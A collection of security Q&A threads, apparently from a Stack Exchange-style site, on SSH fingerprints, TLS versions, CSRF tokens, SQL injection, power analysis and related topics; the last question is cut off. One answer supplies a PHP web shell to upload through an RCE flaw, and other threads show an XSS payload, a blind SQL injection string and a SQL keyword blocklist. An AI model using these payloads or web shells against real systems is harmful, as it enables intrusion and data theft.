While RSA encryption and RSA signature can both use the same kind of mathematical object (a "RSA key"), they are nonetheless distinct algorithms. The SSHv2 way additionally offers Perfect Forward Secrecy, which is good (if someone steals the server's key, he can decrypt past SSHv1 connections that he recorded, but not so with SSHv2 connections).

In the SSH model, the client makes sure that it talks to the right server by remembering the public key of each server (that's the .ssh/known_hosts file). When it encounters a new key (a server to which the client never connected yet), it wants to display something which the human user may use to confirm that the public key from the server is genuine. The fingerprint is a hash value; the user is then supposed to phone the intended server's sysadmin, to dictate the fingerprint and get confirmation that's it is the right one.

The "random art" is a visualisation of the fingerprint in a way which is supposed to be easily remembered by a human eye & brain. The idea is that the user first memorizes the "art" associated with the server, and later on visually checks that the recomputed "art" is the same. (Intended scenario: being able to use random client machines while travelling.)

Personally I prefer to learn by heart the fingerprint; at least I can compute the success probability of the attacker. Better yet, I travel with my own device, which at least should be less virus-ridden than a random machine from an Internet café.


Authentication Agent Protocols for SSH Is the protocol described at https://tools.ietf.org/html/draft-ietf-secsh-agent-02 actually implemented by any ssh agent? pageant implements a different protocol as does OpenSSH's ssh-agent.

I believe the enterprise grade key agents from ssh.com utilise these scheme's inside there environments. (I have not been able to found a "proof" of that, just a educated guess based on the authors of the IFC Draft and the "hints" on the ssh.com product specs.)

the features the list seem to be able to do the things listed in the draft.


VPN helps change the IP but why I still get banned from a website's chatroom? I was trying to enter a website's public chatroom powered by parachat. I don't want users and admins to look up my IP and location. So I bought a VPN and tried to hide my IP, but now I cannot log in to the chat, with error "access rejected from your IP address".  At one point with dynamic IP, i was able to access but after few minutes I was kicked out. I noticed I don't have access to some other websites due to the same reason. Is there a way to hide IP with VPN and be able to connect to such chat room? if no What are other ways to connect?

I don't have any intention to bother people in chat rooms or be involved in any kind of hacking activity. The purpose is educational and all I want is to protect my privacy.

Thanks for your help.

The problem you run into is while your intentions may be noble many people use these VPN services to circumvent bans, geo restrictions etc.

So many site operators blacklist all IPs that are known to be associated with VPN providers, some go even further and add addresses associated with hosting providers to the blacklist to.


Does a OS manufacturer have permission to access your computer unauthorized? Many services such as email and online storage have stated in their Terms of Service that they have the right to view and delete your files at any time. I'm wondering if they same applies to software and especially Operating Systems as well, since the software manufacturer essentially owns the software (we just have a license to use it). Does it mean that they can legally "check on" the program or possibly disable it permeantly without permission. Or does that mean that they can access my files, settings, etc. as well assuming that they built that capability into the program?

I'm saying this since I have read an article before about a Kindle user who had their device remotely disabled by Amazon by violating their license agreement.

Legal

No. Unless you explicitly permitted it.

I suspect if such permission was embedded amongst many other clauses in a EULA, it could possibly be nullified by a court of law if the clause was deemed unconscionable. But if there is no precedent for this, someone would have to risk the time and money for a test case in the applicable jurisdiction. You could ask the Electronic Frontier Foundation if they have explored the topic.

Technical

Unless your computer is always on and acts as a public server, organisations do not access your computer directly - but rather the organisation's software "phones home" like an evil ET.

You can control with an outgoing firewall which applications are allowed to phone home, but certain applications and operating system components tend to malfunction without outgoing internet access. So if for example, you want desirable updates and bug-fixes, you need to accept the risk of the company including undesirable features or behaviour. There is a profound degree of trust required of end-users by software companies.

Precautions against third-party software doing something undesirable are much the same precautions as you would take against a  malicious Trojan. Indeed, all third-party software which can self-modify and access the internet can be considered a potential time-delayed Trojan.

Some Precautions (incomplete list):

Limit applications to installation, execution and file permissions of a sandbox. Services on a Unix system are often restricted in this fashion (e.g. apached)
Separate the operating system, user applications and data into three or more different partitions. If the operating system is stable and doesn't required further legitimate updates, periodically flush the operating system partition with a protected ghost image.
Have multiple backups with different retention time-frames, to limit the likelihood of a Trojan contaminating of all of them before igniting its warhead.
Have your important data within an encrypted container, mapped to an unusual drive letter.
Examine running processes in a proper diagnostic tool (vanilla task managers are inadequate). The tool can show you what background services the application has installed, what ports are being listened on, what files have been opened, etc.
Explore what exactly the application installed or updated, if an installation log is available.
Prefer open source software.

The take home message is that companies will often do what they can get away with, especially in regards to advertising and your personal information. You have to be proactive with each application and each update; but this level of pro-activity is very tiresome so eventually most people just accept the risk.

If you truly don't trust companies modifying your computer, start getting very familiar with pure GNU-style Linux distros and source code compilation...

As DKNUCKLE's reference to NSAKEY suggests, spy agencies have little or no need to break encryption like a Cold War spy novel. Breaching any of the hundreds of applications you need to use in order to function in the 21st century is quite sufficient.


RCE in a PHP script that doesn't have write permissions So i've found a RCE vulnerability in a PHP script (it's in a file called viewfile.php). Basically, from this file I can execute whatever PHP code I want, for example, <?php echo phpinfo(); ?> displays phpinfo, and <?php echo "Test"; ?> also works.

I wanted to see if I could upload a shell from this RCE vulnerability, so first I decided to test to make sure I could upload files. Here is what i tried:

<?php
$fp = fopen('test.txt', 'w');
fwrite($fp, 'Text in test.txt');
fclose($fp);
?>

and

<?php $output = exec('wget http://mywebsite.com/textfile.txt -O test.txt'); echo $output; ?>

Both examples above created a file test.txt but both of the files were empty, meaning that if I were to try this with a shell, it wouldn't work (it would just be an empty file as well). Does this mean that it can be assumed that the directory i've been trying to upload files to doesn't have write perms? If it didn't have write perms, is this the behavior that one would expect? (file being created but nothing being written to it)

Depending on the configuration of the web server, you may or may not be able to get a regular, interactive shell. That said, you can already execute arbitrary php commands. So why don't you upload a file containing:

<?php echo shell_exec($_GET['cmd']);?>

Then you can easily pass whatever commands you like:

http://example.com/viewfile.php?file=myupload.php&cmd=ifconfig


Should I disable TLS 1.0 and TLS 1.1 support on my web servers Currently, my webserver support

TLS 1.0
TLS 1.1
TLS 1.2

One of your single sign-on clients will move to TLS 1.2 on 1st April 2020. Can I remove TLS 1.0 and TLS 1.1  now? Or I need to wait till this client move to TLS 1.2, then only we can remove it. What will be the advantage for us to remove TLS 1.0 and TLS 1.1? And what will be the drawback if we don't remove TLS 1.0 and TLS 1.1?

Also how I know my other single sign-on clients still need TLS 1.0 and TLS 1.1?

Thanks

To answer your first question:  If you have clients that do not support TLS 1.2, and these clients connect to your server using TLS 1.0 or TLS 1.1, and you disable TLS 1.0 and TLS 1.1 on your server, then these clients will not be able to connect to your server.

With regard to the pro's and con's of continuing to support TLS 1.0 and TLS 1.1:  Many organizations have disabled (or will soon disable) TLS 1.0 and TLS 1.1, because of known vulnerabilities in these versions of TLS.  See this article for more information on these vulnerabilities.  Disabling TLS 1.0 and TLS 1.1 on your server will protect your server and your clients from these vulnerabilities.  However, if you have clients that support TLS 1.0 and/or TLS 1.1, but not TLS 1.2, then these clients will not be able to connect to your server if you disable TLS 1.0 and TLS 1.1.

Having said that, all mainstream web browsers have supported TLS 1.2 for quite some time now, so disabling TLS 1.0 and TLS 1.1 will probably affect very few of your users, if most of your users connect to your site with a recent version of a mainstream web browser.

For what it's worth, StackExchange recently disabled TLS 1.0 and TLS 1.1. for all of their sites, and posted a very informative write-up of the process here.  Interestingly, they found that less than 1% of the TLS connections to their servers used TLS 1.0 and TLS 1.1 (and they suspect that most of these connections were from bots).

With regard to your final question about determining how many of your clients are still connecting to your server using TLS 1.0 and TLS 1.1, most web servers have the ability to log the TLS version that was used for each request from a client.  Check the documentation for your web server to see how to enable this.

Related: What will happen to older browsers if I disable SSLv3 on my webserver?


Understanding processes in "people, process and technology" In the "people, process and technology" security model popularized by Bruce Schneier - link

It is discussed how exploits/attacks can occur on any of these 3 broad levels.

For exploiting technology, that is relatively common. Pentests, exploiting bugs, etc.

For exploiting people, we see that via phishing, social engineering, etc. (there is some element of exploitation using technology involved)

In processes however, I am not sure how these are exploited.

My questions are thus:

What does a "process" mean? Is it referring to some set of rules (like an algorithm) that people/technology follow?
Theoretically, how would a process be exploited? (any theoretical example will do)
Has a process ever been exploited in reality? If so, what was it and how was the process exploited?

A process can refer to any set of policies or procedures you follow. It could be algorithmic, or it could simply be documented policies or procedures that have loopholes or flaws. That is, even if the people involved are doing their jobs to the letter, and the technology is doing what it is expected and supposed to, the process can be abused or exploited.

To give a simple example, say a company has a help desk ticketing system that is used to request permission and privileges. It's a common occurrence for additional information to be needed on the ticket, so users can edit tickets they've created, and you can only create a ticket as a logged in user. The process is as follows:

A user creates a ticket, indicating what codebase or server they need access to.
Someone from the security team checks that the requesting user is supposed to have those permissions, and adds a comment to the ticket or changes the ticket state to indicate it's approved
Someone from the IT department processes the ticket, adding the appropriate permissions.

On paper, that might seem superficially secure, as long as people are doing their jobs (e.g. adding the right user to the right permission set) and the technology/ticketing system are secure.

But what if you come in as a user who is supposed to have permission to edit the help documentation, and after that gets approved in step 2, you edit the ticket to instead say you need permission to access source code that you aren't supposed to have access to, or a production database containing sensitive information, etc? The IT department user in step 3 may look at the ticket, look at the approval, and you now have permissions you aren't actually supposed to have.

What you have is a failure of process, because the official/documented policy doesn't take into account the ability to edit tickets. You might fix the policy by not allowing ticket edits after approval, or by requiring the IT user in Step 3 to look at an edit history of the ticket - but as documented and followed, the process is fundamentally insecure.

To explain how that ties into the blog post you linked - technology and automation could clean up the loophole in the procedure itself. Maybe when security approves it, they directly tie the ticket into the repository that you're supposed to have permission to, and it's forwarded to the IT department as a new ticket, or automated entirely. That removes both one of the human factors for error (IT admin misreading a safe and unedited ticket, or selecting the wrong username), and the process loophole (no verification between steps 2 and 3).


Spider Attack from several search engines at once Hello my server is getting hit by spiders from bingbot, google, yahoo, yandex, and some place in the UK all at the same time crashing it.

While I have no reason to think any one person did this, it strikes my odd that it happened all at the same time.

Should I be worried?

The only changes before this started was that I changed all the server passwords.

Bing, Google and Yahoo usually do not flood the the server with requests, but send far less than one request per second.

Please double check that you really get many requests from them within a very short time frame (e. g. within a second).

If your web application does have issues with handling occasional requests (for example on request per second), you can slow down Bing and Yahoo with the following entry in robots.txt:

Crawl-delay: 120

This will ask crawlers to wait at least 120 seconds between requests. For Google, you can define the delay in the webmaster tools.


Is the folowing way of implementing csrf tokens secure? I am using a java/scala app to write a web server (for learning purposes, so no frameworks allowed). I thought about the folowing way of implementing csrf tokens, but I am not sure if it is secure:

1 each html page includes the script "csrfToken.js" which contains the token (var csrkToken="example")
2 when this file is requested the csrf token gets loged into the server (along the userid to make the token only usable by that particular user).
3 when sending a post, put, delete etc the client reads the token from the js file and adds it to the request
4 when ever a post, put, delete, etc request reaches the server the token is checked
5 if the request is succesfull the token gets deleted and the site refreshed (to get a new token)
6 if not the site gets notified, the token does not get deleted and can be reused

Note: the tokens have a max lifespan (lets say 30 min). If the site remains open for longer (lets say multi tab browsing) the use gets notified that he should refresh the site before proceeding

The main problems here are:

The token can be generated via get requests (this is a violation of how get requests should work, but shouldn't be a security concern because the same origin policy stops an attacker from reading the response to a cross site request)
I am not sure wheteher or not an attacker could read the users csrf token in a mallicous site and then use it (asume my site is xss secure)
I do not know if my csrf token having a short lifespan actually provides any aditional security or just decreases user expirience (consider the token is long enough for a brute force attack to be no concern)
Edit: A csrf script could in generate lots of gets in order to create lots of csrf tokens for the same user. That is why i wish to cap the max number of csrf tokens a user can have at any given time (lets say 25 should be enough for any given user, but I'm not sire whether or not this number is appropiate)

If someone could tell me whether or not my implementation is secure and/or how to improve it I would greatly appreciate it.

"csrfToken.js" which contains the token (var csrkToken="example")

This can also be read from other sites, like this:

<script src="http://yoursite.com/csrfToken.js"></script>
<script>alert(csrfToken);</script>

The same-origin policy does not protect against this.

This is possible because the file is a piece of JavaScript that assigns to a variable, and this can be read with a script tag. In contrast, if the file is a text file or JSON, it can't be read cross-origin

{"csrfToken": "example"}

You would read it yourself using an ajax request, but other sites can't do this.


What could cause a sudden influx of unfiltered spam email? Waking up this morning, I found a large number of spam emails in my outlook inbox. Typically I never see any spam in the inbox, as it is almost always successfully filtered. Even in the junk box I only typically receive 4-5 emails on a bad day.

These emails started coming in while I was asleep and continued for 8 hours, at which point they stopped abruptly. You can see the exact times (BST) and nature of the emails in the picture below.

What could be the cause of this temporary large influx of unfiltered spam emails?

The most reasonable explanation is that your email address recently ended up in a email list used by spammers.

How could this happen? There are at least three possibilities:

you recently subscribed to a website, who secretly "shared" email addresses with shady organizations;
you subscribed (perhaps a long time ago) to a website which was recently breached, and the resulting email/password dump circulated in underground communities;
someone directly gave your email address to spammers, as a prank. Unfortunately, there are individuals and websites devoted to this ridiculous activity.


Why do so many banks have relatively weak e-banking security? I follow a few infosec-related Twitter personalities: Paul Moore, Taylor Swift, Troy Hunt are the main 3. Paul Moore is currently in the process of switching banks, frequently tweeting and retweeting about how insecure these banks are:

crazy low password requirements (no symbols allowed, low max length are the biggest 2);
buggy TLS implementations (article from Troy Hunt: http://www.troyhunt.com/2015/05/do-you-really-want-bank-grade-security.html), with many banks failing on stuff like Forward Secrecy, SHA-1, RC4 and TLS 1.2;
weird password verification methods that usually prove that they're not hashing passwords (like asking for 2 specific characters from a password);
weird ways to transfer account credentials (like asking a DM on Twitter, or support people giving your new credentials over the phone).

I realize that not all banks have these issues (for example, Belgian banks don't use passwords at all, instead requiring you to access E-banking through a card reader with your debit card, and most of them have appropriate TLS), but it does look like quite a few banks have at least 2 of these issues, and when called out on them, they act like it's not a problem. Meanwhile, we trust these companies with our money.

Why do so many banks have one or more of the above issues? I realize some of it is due to legacy requirements, but it can't all be because of outdated interfaces?

The basic reason is because despite all these issues they don't regularly suffer breaches or theft enough for it to be a market differentiator.

Weakened passwords still fend off most online attacks against customer accounts when paired with their system lockouts, multi-factor authentication, and other intrusion controls.  Most banking customer passwords are stolen through trojans on their systems, which work regardless of password strength.

Similarly with weak SSL/TLS implementations there are only a limited number of attackers in a position (e.g. network access and computational resources) to take advantage of it to steal customer accounts or money.

At the end of the day banks are in business to make money.  They aim to implement enough security to avoid losses and regulatory punishment.  In some cases they are limited by what they can do by legacy systems, but most would never be on the cutting edge of security practices regardless because it doesn't add much value.

This isn't to say every bank's security is where it needs to be, just that they tend to secure areas that cause them problems and may wait until those problem actually emerge to fix them.


Are these SQL injection checks a bad idea? Reading Preventing SQL Injection Attacks in Stored Procedures started this debate between my partner and I---and looking for the right approach is not as straight forward.

I'm no security expert--but what do a person do when you take a look at the first few lines of this stored procedure....and you see this.

We haven't had any significant security issues, but I don't won't to assume that this approach is working...If so leave it alone or make it better.

ASP:

Dim conStr = ConfigurationSettings.AppSettings("WebUser")
Dim command = ("Execute dbo.web_Insert_usr_Comments @Location," & _
                    "@userexp, @full_name, @emailAddr, @comments")

Using con As New SqlConnection(conStr)
    Using cmd As New SqlCommand(command, con)
        cmd.Parameters.AddWithValue("@Location", Request.QueryString("Location"))
        cmd.Parameters.AddWithValue("@userexp", Request.QueryString("usrexp"))
        cmd.Parameters.AddWithValue("@comments", Request.QueryString("comments"))
        cmd.Parameters.AddWithValue("@full_name", Request.QueryString("full_name"))
        cmd.Parameters.AddWithValue("@emailAddr", Request.QueryString("emailAddr"))

        con.Open()
        cmd.ExecuteNonQuery()
    End Using
End Using

TSQL:

 ALTER PROCEDURE [dbo].[web_Insert_usr_Comments]
        @Location varchar(255),
        @usrexp int = NULL,
        @full_name varchar(255) = NULL,
        @emailAddr varchar(320) = NULL,
        @comments varchar(125) = NULL

    AS
    BEGIN
        DECLARE @securityChk varchar(255),  @haveContact INT

        SET @securityChk = (SELECT @location + CAST(@usrexp AS VARCHAR(2)) + @full_name + @emailAddr + @usr_comments )

        IF @securityChk LIKE '%SELECT%' RETURN;
        IF @securityChk LIKE '%DROP%'   RETURN;
        IF @securityChk LIKE '%INSERT%' RETURN;
        IF @securityChk LIKE '%DELETE%' RETURN;
        IF @securityChk LIKE '%EXE%'    RETURN;

    SET @haveContact =   ( SELECT  (count(*))
                FROM dbo.contacts
                WHERE ( @emailAddr = E_mail_address AND  @location = company))
    --> Check and see if we have this person contact info
    IF ( @haveContact = 0 )
       BEGIN
        INSERT INTO dbo.contacts(e_mail_address, company, nick_name)
        VALUES (@emailAddr, @location, @full_name)
       END
    ELSE
        BEGIN
          INSERT INTO web_comments_dtl(timeGMT, form_id, contact_id, comment, user_exp_ranking, IP_Addr)
          SELECT GETDATE()
           , 1 --> TODO: Need better logic for form_id
           , ( SELECT MAX(id)
               FROM dbo.contacts
               WHERE  ( @emailAddr = E_mail_address AND  @location = company)
            OR ( @emailAddr = E_mail_address AND @full_name  = nick_name )
            OR ( @location = company))
          , @RFXcomments
          , @usrexp
          , dbo.fnBinaryIPv4(@ip_Addr)
        END
    END

What I would like to do, but not sure which option is the most efficient.

Should spend a week or two and investigate the security issues (if there is one) and
the user input form that calls this SP
Rewrite the whole thing including the SP, code behind, and reconfigure IIS
Add more clauses to the statement above.

I don't think there is a security problem...but if the guy before decides to put this in his code--what do a young DBA is supposed to do.

Doing this sort of blacklisting of words in your arguments is unnecessary with properly implemented stored procedures, and will only lead to bad user experience in the event that this misfires on benign content.

If you are using a stored procedure and structuring your query with the parameters that are passed into the stored procedure, you do not need to do these checks.

If, however, you are concatenating strings together and passing them into an EXEC call, you are opening yourself up to sql injection.  My advice is to simply use stored procedures for what they are meant to do, and rely on that for protection.

(As an aside - 25 characters for full name and email address seems a little too short to me.)


Simple defense against power analysis? I would like to hear your opinions and how effective would my proposed defense is against power analysis. It is one of the nastiest side channel attacks because it's undetectable and passive, but assuming that your power strip can be trusted it should work:

We take a power strip with 7-8 slots, we plug in the 2 cables that the PC has (usually monitor + power unit) and we put other devices into the other 6 slots. Whenever we perform a sensitie crypto operation like signing keys or decrypting, we just turn on the other devices, to create interference in the power consumption. Therefore it will become undetectable from poweranalysis, because the power waves overlapse and the spikes (caused by crypto operation) will become undetectable from the spikes other devices do. Especially if you plug in your fridge or washing machine in the same power strip, because these devices consume power cyclicaly do power spikes that will hide the crypto operations from your PC.

Would this work?

You should not plug a washing machine into the same power strip as your computer or put a large number of switches in series unless you want to burn down your house. With that said...

Mitigating power analysis attacks can be easy or hard depending on the adversary. If they are simply measuring power usage, you can mitigate it by using an online double-conversion UPS. That is a UPS which simultaneously charges and discharges a single cell to ensure zero latency during blackouts or brownouts. They are less efficient than standard line-interactive UPSes (which simply pass through power from the wall and switch to internal power when the voltage drops below a threshold), but they will mitigate simple power analysis attacks because the power you are getting comes directly from the inverter, not mains. If your adversary is outside of your house, it's unlikely that this is necessary anyway, as sensitive power usage information tends not to pass through the first large transformer, if memory serves. Even abusing a compromised smart meter right outside of the building is quite unlikely to be useful for power analysis.

If your adversary is particularly advanced or will have a probe connected very close to the computer, you will unfortunately not be able to mitigate a sophisticated attack with COTS hardware. You would need to have special hardware designed for EMSEC. In particular, you would likely need to have a NATO SDIP-27 (TEMPEST) certification for any hardware you are using in order to ensure that no compromising emanations are released.

  Therefore it will become undetectable from poweranalysis, because the power waves overlapse and the spikes (caused by crypto operation) will become undetectable from the spikes other devices do.

This unfortunately does not work. It's the high frequency domain (300 MHz and above, typically) that is relevant for EMSEC. It will not at all become undetectable simply by turning on other devices. In fact, it might actually make it worse by effectively creating antennas. Even a dozen other computers using the same power source can't mask a single 8051 microprocessor in a cheap PS/2 keyboard when subject to power analysis attacks. EMSEC is complicated. You can't mitigate it just by plugging in other devices and simply hoping they mask the high frequency domains.

The above animation demonstrates how the addition of multiple sine waves in different frequency domains can add up to a seemingly chaotic pattern. In truth, it's easy to analyze such a waveform and extract each and every frequency domain. Plugging in other machines adds to the low frequency domain. It's then a simple matter of performing Fourier analysis on the waveform to extract the completely undamaged high-frequency information being leaked.

Even when you have absolute control over the frequency you add, it is still extremely difficult to mask an existing signal. Just ask anyone who has tried to jam a DSSS signal without being able to predict the sequence. And in your case, you aren't even creating high-amplitude interference. You are turning on another machine which is designed not to cause interference and undoubtedly does not send a strong jamming signal in all the right frequencies!


How can mobile sign-on be secured from imposter authentication screens? History seems to have come almost full circle where old issues are shown in new/emerging technologies.

Background

If you trust the operating system, Windows originally had the Control - Alt - Delete as a way to prevent TSR (Terminate and Stay Resident) programs from stealing passwords.  It also invoked a GINA now the Windows Secure Subsystem (whatever it's called these days).

If you trust the browser, Web browsers proved security using SSL/TLS/HTTPS icons in the browser, and sometimes they colored the status bar green for sites that overpaid for their SSL certificate.

Problem

Now that mobile devices don't display a HTTPS status bar when navigating it's impossible to tell if you're on a legit site, or hacked via SSLStrip MITM or HTTPS.  On top of that, there isn't a secure mode integrated into the OS itself, therefore it seems next to impossible to distinguish a legit authentication dialog from an imposter.

Can you tell the imposter from the legit dialog?

Although I demonstrate Azure Active Directory federation above, the same issue applies to consumer and corporate accounts that leverage other systems (OAuth, OpenID, Facebook, Ping Identity, ADFS)

This issue came to my mind as I downloaded an Android app that was clearly phishing for my credentials so it could post a favorable review of itself.  ... a App Review Worm of sorts.

Question

How can a dumb end user protect themselves from such an attack, on a mobile device?
Are physical certificates the only option to prevent phishing?  (TLS Mutual Auth)
Does FIDO play a role in securing the mobile space?

The only way you can ensure you are secure is if you use a trusted mobile application, such as Chrome, and you see the padlock and HTTPS at the start of the address bar.

Note that here you are trusting both Chrome and the domain of the website that is HTTPS.

If you're using a third party application that integrates a browser, you are trusting that application. If you don't trust that application, you cannot trust anything displayed to you within that application. Therefore, you should only enter credentials through applications that you trust, in this case Chrome. Note that full screen pages now require permission to display full screen in Chrome, so a page drawing the address bar in is no longer possible without Chrome alerting the user.

Note that even if you trust an app, you need to beware that the app loaded could be subject to scheme hijacking and it might not be in fact the app you expected to load. Always load up the application manually before entering any credentials.


Why do tor nodes maintain TLS keys with all other Tor nodes? I read that Tor proxy maintains a session key with tor nodes and uses it while encrypting data but why do Tor nodes maintain keys with other tor nodes?

The Why has a simple reason that is valid every where you need to establish a secured communication between two machines:  exchange application data over the secured channel they have established. All messages sent between two onion routers are encrypted using session key. In other words, as long as those session keys are maintained the communication is secured. Periodic key rotation limits the window of opportunity for impersonating an onion router.


Bypassing browsers URL encoding to do reflected XSS from query parameter? I tried to get reflected XSS in vulnerable website with a request to the following URL:

https://vulnerable.website/dir/dir?param1=test"><svg/onload=alert(1)>

The browser URL encode the chars and it is also reflected back in the response encoded, so it doesn't work. But if I intercept the request and type the payload without encoding the XSS is executed.

Is there any way to send the request without the browser encoding it?

It depends on the browser you are using.

Here is a blog post from Troy Hunt regarding this topic:

You can try to intercept the request using tools like Burp Suite. If you intercept the request, you can try to change the encoding character set and check if the desired result occurs.


Is it legal to run penetration testing tools against google, facebook etc..? Is it legal to run penetration testing tools against all of the sites which are offering a bug bounty according to https://www.bugcrowd.com/bug-bounty-list/, i.e. 1Password, ...Google, ..., Facebook, ... You Need a Budget (YNAB).

Legal or not, it would not be any useful for them, and certainly wouldn't help you getting any reward. You get a bounty by finding something new. The sites offering bounties are probably already tested using automated tools.


Cuckoo Sandbox python errors after task submission I'm New to Cuckoo Sandbox. Why am I getting this error?
I don't understand. If there is something wrong, can anyone please explain how to setup Cuckoo Sandbox? My setup works very well before I submit any kind of malicious thing. I've been working on it for the last 5 days.

Thanks !

Cuckoo Sandbox 0.5
www.cuckoosandbox.org
 Copyright (c) 2010-2012
 Checking for updates...
 Good! You have the latest version available.
2013-01-12 18:42:42,738 [lib.cuckoo.core.scheduler] INFO: Using "virtualbox" machine manager
2013-01-12 18:42:42,935 [lib.cuckoo.core.scheduler] INFO: Loaded 1 machine/s
2013-01-12 18:42:42,936 [lib.cuckoo.core.scheduler] INFO: Waiting for analysis tasks...
2013-01-12 18:43:12,403 [lib.cuckoo.core.scheduler] INFO: Starting analysis of URL
"http://gamerpocket.com/temp/images/qeqynu.jpg" (task=2)
2013-01-12 18:43:12,433 [lib.cuckoo.core.scheduler] INFO: Task #2: acquired machine cuckoo1 (label=cuckoo1)
2013-01-12 18:43:12,466 [lib.cuckoo.core.sniffer] INFO: Started sniffer (interface=eth0, host=192.168.0.100, dump path=/opt/cuckoo/storage/analyses/2/dump.pcap)
2013-01-12 18:43:20,308 [lib.cuckoo.core.guest] INFO: Starting analysis on guest (id=cuckoo1, ip=192.168.0.100)
Exception in thread Thread-1:
Traceback (most recent call last):
  File "/usr/lib/python2.6/threading.py", line 532, in __bootstrap_inner
    self.run()
  File "/opt/cuckoo/lib/cuckoo/core/scheduler.py", line 318, in run
    success = self.launch_analysis()
  File "/opt/cuckoo/lib/cuckoo/core/scheduler.py", line 240, in launch_analysis
    guest.start_analysis(options)
  File "/opt/cuckoo/lib/cuckoo/core/guest.py", line 136, in start_analysis
    self.wait(CUCKOO_GUEST_INIT)
  File "/opt/cuckoo/lib/cuckoo/core/guest.py", line 59, in wait
    self.server._set_timeout(self.timeout)
  File "/opt/cuckoo/lib/cuckoo/common/utils.py", line 107, in _set_timeout
    if t._connection[1] and t._connection[1].sock:
AttributeError: TimeoutTransport instance has no attribute '_connection'

Yes, that's a bug in 0.5 that has been fixed in 0.5.1-dev. In theory it should only happen with Python 2.6, as we recommend using Python 2.7. You can manually apply this patch to fix it:
https://github.com/cuckoobox/cuckoo/commit/a6ae875f437e32d6b0f1af4107c0459f6fa7ecc3


Read-Only USB thumb as Linux boot encryption authentication I would like to have a physical key to decrypt Linux machines at boot. This is just an idea and I would like to know if there are already projects or established methods to achieve this. Let me explain better.
I would like to have an usb device full of random data no partition, then make this thumb read only. First of all: is this possible? Is there some kind of bit that would prevent data write? Something like the SD physical lock, just not physical.
Then: what encryption with Linux? I would like to have a pre-boot authentication with simmetrical encryption.. With the hash of the random data key as password.

And a last question: are there some kind of ASIC usb devices to speedup encryption?

Thank you all.

You can create a LUKS volume that relies on a keyfile, rather than on some user input.

There's a guide here, but I've not followed it myself.  It seems quite sound though, from a quick read through.

LUKS USB key unlock

Consider also the pros and cons of doing this.  A pro is that your key can be longer than you could comfortably remember, but a con is that it's physical, and easily stolen.  If you're looking for a higher level of security, I expect it's possible to require both a keyfile and passphrase (at the same time, that gives you more stuff to forget/lose).

Weigh up your options before doing something like this.


Blind SQL injection: understanding heavy queries This article (PDF) talks about a blind injection technique based on heavy queries.

Questions:

Can anyone explain to me the purpose of using heavy queries while compared to normal time-based techniques? Is perhaps that, when stored procedures and benchmark functions are disabled, is resorting to heavy queries the only way to perform a bit of vulnerability investigations?
With reference to MySQL, the fact it takes 30 seconds what does it mean?
My reasoning is: if it takes 30 seconds so the injected query (heavy query) can be executed so since the query was tailored specifically for MySQL the database platform is MYSQL. But what about the negative result?
Am I right in saying that the heavy query approach is used only to retrieve information about the database platform? It's actually another way to get that kind of information. Other methods deal with Benchmark aand sleep function (MySQL).

I believe that the intent is to make the query take a long (measurable) period of time should the query be executed in one particular way, and as a result take a short period of time if it were executed another.  This means that you can determine those parts of the query that was executed.

How you interpret that, however, depends on what your original query was, and what you have managed to SQL inject into it, and you are not limited to determing database platforms.

Using blind SQL injection you can turn the database in to a TRUE/FALSE machine where you can ask TRUE/FALSE question about anything stored and get an appropriate reply, and so you can slowly work out a great many things about the database.

Real life example  I had an case of blind SQL injection that would take a long time (about 20 seconds) if some injected query were true, and would return immediately if false. So given the injection string:

value' and 'bob' = (select user from table)--

I can enumerate all the users of the system


Can a document be digitally signed multiple times, successively by different users? The question is, if a document that is collaboratively edited, one user per time, could be digitally signed by every editor before it is passed to the next editor. And if yes, could the final receiver use the public keys of every editor in reverse order to verify that the document was edited by the right editor and in the right order?

My guess is that, using some blockchain technique maybe the Hash pointer could help to achieve that, since the latest Hash pointer would include the hash of the hash blocks of every block, therefore every editor until this time. Is there any kind of software out there already that offers that feature?

In case you need an example to get the idea behind the question image this scenario. A teacher has given a task to a group of three students, all of them write to a notepad, the first one that finishes his part opens a .doc file pastes the content, signs the document and pass it to the second one who finishes, he does the same, and then the final student receives the doc, also pastes his content, signes it and then sends it to the teacher, who have the pubic keys of the students to verify the document editors.

As you understand this could also help each editor to be sure that he is not editing a tampered document.

Any thoughts on that would be much appreciated.

ThoriumBR answer provides a neat solution about how a system with the desired properties could work. However, it is quite crude for the students. You would ideally want an application built upon that that abstracted all the storing prior versions and applying the patches.

Rather than creating a new program for this, I would encourage using a version controol system like Git or Mercurial, that already handle storing files and support attaching digital signatures. This greatly simplifies the task (as there are already tools and documentation) and also provides knowledge on tools they may use later (as opposed to a teacher-specific tool). I would recommend that the teacher provides the server on which they will work, so that he can place the right configuration, such as not allowing history-rewriting, automatically rejecting unsigned commits or even non-fast-forwards.

Actually the usage of digital signatures is not that relevant here, as the teacher will probably trust the server logins, but it's a good exercise anyway.

In any case, the real problem for a teacher would not be that the digital signatures are right, but the social one of each student doing its part and not colluding to give another student some changes they were not supposed to provide or even share passwords and digital certificates with their peers.


Why would a password be hashed before being used to encrypt something? When reading some documentation about the security of a product, I found that the vendor uses the SHA-2 of a password to encrypt data (AES-256), instead of using this password directly.

Are there any advantages of doing so?

An attacker is not going to crack the encrypted data using this SHA-2-as-a-password key but rather exhaust the password keyspace (if feasible) and try its hash. Therefore the only reason I can think of is that there is an extra computational step (the creation of the hash). I would have rather increased the password entropy if the point is to computationally complexify the attack.

It sounds like a primitive version of a key derivation function (KDF), in particular they probably could have avoided reinventing the wheel by using PBKDF2.

There are several reasons why you don't want to use the password directly as an AES key.

To distribute the bits. The main property here is that a hash function's output is, statistically speaking, uniformly distributed. People tend to pick passwords that aren't fully random, in particular, most passwords would only contain characters you can type in a keyboard. When used as an encryption key, a non-statistically random key may expose weaknesses in the encryption function.
To fit the keys to the encryption key length. Most passwords are going to be either longer or shorter than the key space of the encryption function. By hashing your password, the exact key length will be exactly the size of the input key of your encryption function. While the entropy of the derived key doesn't increase, this avoids the likelihood of exposing weakness in the encryption function if you just simply zero pad the password or worse truncate the password.
To slow down key derivation decryption. Per your description, the software is only using a single SHA256 round, which is not much. But with proper password based KDF, like PBKDF2, there are usually tens of thousands or hundreds of thousands of rounds of the underlying hash function. This slows down computing the keys, increasing the effective strength of passwords without increasing its length.
To keep the user's plain text password out of memory, thus preventing it from being accidentally dumped to disk during hibernation or crash dump. While this wouldn't protect the hash from being used to decrypt the data you're encrypting, it will prevent the password from being reused to decrypt other files (which presumably uses different salt) or being tried on your online accounts or other devices that you use.


What about Long Router Passwords and WPS Push-Buttons I have a question related to the WPS push-button capability on my router. I know that there is some material on the web about this question, but I haven't found anything that's current enough for my liking. Most posts are from 2011-2013.

